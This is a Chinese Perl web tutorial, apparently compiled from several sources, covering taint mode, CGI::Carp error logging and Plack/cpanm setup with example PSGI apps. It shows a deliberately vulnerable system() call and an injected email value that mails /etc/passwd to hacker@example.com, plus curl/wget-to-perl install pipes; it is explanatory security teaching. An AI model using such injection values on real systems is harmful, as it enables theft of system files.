Perl Web 门户基础知识(Plack,cpanm)

受污染的信息

让信息不受污染听上去似乎是不可能的事情，要保证脚本彻底安全，只能既不使用外部数据，也不使用来自外部连接或接口的数据（例如运行一个命令或连接到外部数据库）。对于一些简单的脚本，这是完全有可能做到的。

但对于一般的 Web 应用程序，会从一个表单或其他位置接收数据，然后在其他表单中使用这些数据，在这种情况下，使用脚本解决方案才是首选。

使用这样的数据可能造成严重后果。例如，请考虑一下?清单1?中的示例：

清单 1. 典型的脚本

#!/usr/bin/perl 
use strict;
use warnings;

use CGI qw/:standard/; 
my $query = new CGI(); 
my $email = $query->param(email); 
system("mail $email") or die "Couldn't open mail"

假设我们能一直获得完全有效的 email 地址，那么这段脚本看上去没有任何问题。但我们使用了?system()?函数来发送 email，因此 email 地址的内容可能会影响到系统。例如，假设所提供的 email 地址是：

    example@example.com;
    cat /etc/passwd |  mail  hacker@example.com

现在 email 地址不仅（可能）包含有效的 email 地址，而且还通过 email 告诉其他人密码文件。system()?函数打开一个子 shell 并执行相关内容。这就是一个重大安全问题。

如果 Perl 没有提供称为污染模式的内置模式，那么追踪不同信息的来源就会变得很困难。如果 Perl 确定实际有效的用户 ID 是其他 ID，或通过在命令行或脚本开头处使用?-T?选项，那么系统会自动启用污染模式。

启用污染模式后，Perl 会检查不同数据和变量的来源与使用情况，确保使用的信息未执行带有不安全或危险操作的脚本，未包含不受信任的信息。顾名思意，这些数据被划分为受污染的?数据。

对于源自命令行参数、环境变量、本地信息和某些系统调用（包括访问共享目录、共享内存和系统数据）的所有信息，Perl 会识别受污染的数据。另外，所有从外部文件读取的数据都会受污染。

不能在调用子 shell 的命令（包括管道输入/输出和?system()?调用或?exec()?调用）或修改文件的目录的命令（如写入、删除或重命名）或进程中直接或间接使用受污染的数据。

此规则还有一个特例，print()（及其衍生物）和?syswrite()?不会触发污染错误或子方法、子引用或哈希键。

污染功能还会自动扩展，监视可疑的值，即使您未直接使用它。例如，无论何时调用?system()?或?exec()，都会检查?PATH?环境变量的值，无论是否在命令行中使用了受污染的变量，因为所执行的命令是由?PATH?决定的。检查?PATH?是为了确保路径中列出的所有目录都是绝对路径，而且所有者及其所在组以外的人无法执行写入操作。这样做可防止所运行的命令产生更大的问题。

如果启用了污染模式，Perl 会产生错误并停止执行，它还会识别出正在使用的受污染值。例如，使用不安全的?PATH?会产生以下错误：

Insecure $ENV{PATH} while running with -T switch at t.pl line 11

而使用不安全的变量会产生以下错误：

Insecure dependency in system while running with -T switch at t2.pl line 2

在典型的 Web 应用程序中，无论用来收集信息的方法是什么，用户从表单提供的数据都会受污染。源自 CGI 脚本的数据可以从标准输入或环境变量中获得（这取决与所使用的 HTTP 方法和环境），而且这两者都被划分为污染源。

为了保护脚本执行，并确保未使用不安全数据，您需要识别信息并去除污染，以便可以安全使用数据。

回页首

使用?CGI::Carp

在 Perl 脚本中，报告错误的常用方法是使用?warn()?或?die()?函数来报告或产生错误。而对于?Carp?模块，它可以对产生的消息提供额外级别的控制，尤其是在模块内部。

另外一个模块?CGI::Carp?提供了很多与?Carp?模块一样的功能。它专门设计用于 Web 脚本中，可将错误信息写入指定的日志，而不是写入默认 Web 服务器日志中（例如，由 Apache 生成的日志），或者您可以在某种受控方式下将信息写入 Web 页面。

标准?Carp?模块提供了?warn()?和?die()?函数的替代方法，它们在提供错误定位方面提供更多信息，而且更加友好。当在模块中使用时，错误消息中包含模块名称和行号。

在?Carp?模块内部，有 4 个主要函数，carp()?是警告消息的同义词，croak()?与?die()?一样，可以结束脚本。cluck()?和?confess()?分别与die()?类似，但提供了从产生错误处的栈回溯追踪。

如果同时使用 Carp 和?CGI::Carp?模块，那么标准函数，例如?warn()、die()?和?Carp?模块函数、croak()、confess()?和?carp()?将会将错误信息写入已配置好的 HTTP 服务器日志，并附带日期/时间戳和脚本来源。

使用 HTTP 服务器错误日志的一个替代方法是使用?CGI::Carp?并利用?carpout()?函数。该函数只有一个参数，即您用来写入错误信息的文件的文件句柄（通常会将该信息发送到 STDERR）。您需要显式导入?carpout()?函数。如?清单 2?中的一个示例所示。

清单 2. 使用?CGI::Carp

#!/usr/bin/perl 
use strict;
use warnings;

use CGI::Carp qw/carpout/; 
use IO::File; 

my $logfile = IO::File->new('browser.log','w')
    or die "Couldn't open logfile:$!n"; 
    
carpout($logfile); 

warn "Some error must have occurredn";

日志中产生的信息是通过日期和产生输出的脚本名称进行区分的：

[Thu Sep 2 11:35:56 2010] carpout.cgi:Some error must have occurred

所有的标准方法都假设您想要将错误信息写入日志文件中。但是您可能并不始终具有访问日志的权限，或者并不总是能够登录到浏览器来获取信息。

因此?CGI::Carp?函数提供了一个?fatalsToBrowser?选项将致命错误消息（die()、confess()）重新指向浏览器和 Web 服务器日志。这样可以确保您的用户能够看到脚本所产生的错误。非致命错误（carp()）将会按照常规继续发送至错误日志。

要使用?CGI::Carp?模块，必须在加载该模块时将它指定为一个选项，请使用?CGI::Carp qw/fatalsToBrowser/;。我们可以将它添加到文件浏览脚本中，以确保错误被正确报告和识别。

# archive of any existing cpan configuration
mv ~/.cpan ~/.cpan_original
 
# Then one of the following:

# if you can run wget
wget -O - http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval
$(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc
 
# OR if you can run curl
curl -L http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl
-I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc
 
# otherwise,download the contents of http://cpanmin.us to a file called cpanmin.us,make it executable and then run: 
./cpanmin.us local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5
-Mlocal::lib)' >> ~/.bashrc && .~/.bashrc

cpanm Task::Plack 
# Please also run this as we will use it later 
cpanm Plack::Middleware::TemplateToolkit

# Tell Perl where our lib is (ALWAYS use this) 
use lib "$ENV{HOME}/perl5/lib/perl5"; 

# ensure we declare everything correctly (ALWAYS use this) 
use strict; 

# Give us diagnostic warnings where possible (ALWAYS use this) 
use warnings; 

# Allow us to build our application 
use Plack::Builder; 

# A basic app 
my $default_app = sub { 
    my $env = shift; 
    return [ 
        200,# HTTP Status code 
        [ 'Content-Type' => 'text/html' ],# HTTP Headers,["All is good"] # Content 
    ];
}; 

# return the builder 
return builder {
    $default_app; 
}

use lib "$ENV{HOME}/perl5/lib/perl5"; 
use strict; 
use warnings; 
use Plack::Builder; 

# 'mount' applications on specific URLs 
use Plack::App::URLMap; 

# Get directory listings and serve files 
use Plack::App::Directory; 

my $default_app = sub { 
    my $env = shift; 
    return [ 200,[ 'Content-Type' => 'text/html' ],["All is good"] ];
}; 

# Get the Directory app,configured with a root directory 
my $dir_app = Plack::App::Directory->new( { root => "/tmp/" } )->to_app; 

# Create a mapper object
my $mapper = Plack::App::URLMap->new(); 

# mount our apps on urls 
$mapper->mount('/' => $default_app); 
$mapper->mount('/tmp' => $dir_app); 

# extract the new overall app from the mapper 
my $app = $mapper->to_app(); 

# Return the builder 
return builder { 
    $app; 
}

    # A link to your htdocs root folder
    my $root = '/path/to/htdocs/';
    
    # Create a new template toolkit application (which we will default to)
    my $default_app = Plack::Middleware::TemplateToolkit->new(
        INCLUDE_PATH => $root,# Required
    )->to_app();
    
    return builder {

        # Page to show when requested file is missing
        # this will not be processes with TT
        enable "Plack::Middleware::ErrorDocument",404 => "$root/page_not_found.html";

        # These files can be served directly
        enable "Plack::Middleware::Static",path => qr{[gif|png|jpg|swf|ico|mov|mp3|pdf|js|css]$},root => $root;

        # Our application
        $default_app;
    }